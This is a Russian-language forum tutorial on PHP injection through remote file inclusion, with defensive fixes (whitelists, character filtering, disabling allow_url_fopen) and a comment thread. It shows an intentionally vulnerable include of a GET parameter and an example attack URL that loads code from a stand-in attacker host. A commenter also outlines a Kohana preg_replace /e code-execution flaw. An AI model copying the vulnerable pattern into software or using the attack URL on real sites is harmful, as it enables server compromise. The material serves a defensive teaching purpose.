В этом уроке мы рассмотрим один из видов взлома сайта и как от него защититься. Для начала давайте поймем, что такое PHP-инъекция.
PHP-инъекция — один из способов взлома веб-сайтов, работающих на PHP, заключающийся в выполнении постороннего кода на серверной стороне.
Потенциально опасными функциями являются:
¤ eval()
¤ preg_replace()
¤ require_once()
¤ include_once()
¤ include()
¤ require()
¤ create_function()
PHP-инъекция становится возможной, если входные параметры принимаются и используются без проверки.
Пример
<?
...
$module = $_GET['module'];
include($module.'.php');
...
?>
Этот скрипт уязвим, так как к содержимому переменной $module просто прибавляется «.php» и по полученному пути подключается файл.(когда ставил одному чуваку защиту для движка Dcms Social помню, там такая уязвимость есть в системном файле)
Взломщик может на своём сайте создать файл, содержащий PHP-код (http://hackersite.com/inc.php ), и зайдя на сайт по ссылке вроде http://mysite.com/index.php?module=http://hackersite.com/inc выполнить любые PHP-команды.
Способы защиты
Существует несколько способов защиты от такой атаки:
Проверять, не содержит ли переменная $module посторонние символы:
<?
...
$module = $_GET['module'];
if (strpbrk($module,'.?/:')) die('Пошел в жопу, хакер одноклеточный');
include $module.'.php';
...
?>
Проверять, что $module присвоено одно из допустимых значений:
<?
...
$module = $_GET['module'];
$arr = array('main', 'about', 'links', 'forum');
if (!in_array($module, $arr))
$module = $arr[0];
include $module.'.php';
...
?>
Этот способ является более эффективным, красивым и аккуратным.
Прописать каждое значение через if
<?
...
$module = $_GET['module'];
if ($module == 'main')
include 'main.php';
if ($module == 'about')
include 'about.php';
if ($module == 'links')
include 'links.php';
if ($module == 'forum')
include 'forum.php';
...
?>
PHP предоставляет также возможность отключения использования удаленных файлов, это реализуется путем изменения значения опции allow_url_fopen на Off в файле конфигурации сервера php.ini.
Описанная уязвимость представляет высокую опасность для сайта и авторам PHP-скриптов не надо забывать про неё.
Если у вас отстались вопросы - задавайте, рад буду помочь.
как через регулярные выражения могут взломать
В следующей статье(завтра) про неё напишу.
Приведу пример уязвимости в фреймворке Кохана.
Функции из ядра Коханы версии 3.2:
<?
public function redirect($url = '', $code = 302) {
$referrer = $this->uri();
$protocol = ($this->secure()) ? 'https' : TRUE;
if (strpos($referrer, '://') === FALSE) {
$referrer = URL::site($referrer, $protocol, !empty(Kohana::$index_file));
}
if (strpos($url, '://') === FALSE) {
$url = URL::site($url, TRUE, ! empty(Kohana::$index_file));
}
if (($response = $this->response()) === NULL) {
$response = $this->create_response();
}
echo $response->status($code)->headers('Location', $url)->headers('Referer', $referrer)->send_headers()->body();
exit;
}
public static function site($uri = '', $protocol = NULL, $index = TRUE) {
$path = preg_replace('~^[-a-z0-9+.]++://[^/]++/?~', '', trim($uri, '/'));
if (!UTF8::is_ascii($path)) {
$path = preg_replace('~([^/]+)~e', 'rawurlencode("$1"', $path);
}
URL::base($protocol, $index).$path;
}
?>
Как видно, при использовании функции редиректа у реквеста к текущему uri применяется функция URL::site, в которой используется preg_replace с модификатором исполнения «e»: к каждому сегменту урла применяется rawurlencode, причем сегмент передается в двойных кавычках, что позволяет передать туда что-нибудь вроде (${Удалён и оно отработает. Таким образом, если у нас по ссылке http://site/path/param1 производится редирект, то дописав в param1 выражение вроде (${Удалён можно выполнить какой-нибудь код.
Знаешь? Я рад за тебя! Статья для тех, кто не знает. Все новичками были, в том числе и я. Однажды мне помогли, теперь я кому-нибудь помогу. Во-вторых, тема не в оффтопе.
LiveStreet,просто тема известная лет 10. Кто хоть раз всерьёз интересовался взломами сайтов,все это читал. А зная местных юзеров,есть большая вероятность что способы эти будут использованы в виде бекдоров
За несколько лет пребывания на этом сайте я понял что помощь тут никому не нужна в таком виде, здесь любят когда всё делают за них и за бесплатно, и советую автор тебе не тратить время на эти бесполезные темы.
Да и если посудить, это так же ненужно и администрации, я уже был несколько раз забанен за холивары на интересные для программистов темы.
И люди тут не меняются, нормальные пользователи постят всё меньше и меньше.
А так да боян по сути интересен, но такие ошибки уже даже новички давно не допускают.
такие жесткие косяки могут только конченные дебилы делать
Ты сам написал, что есть нормальные люди. Мне например тема была полезна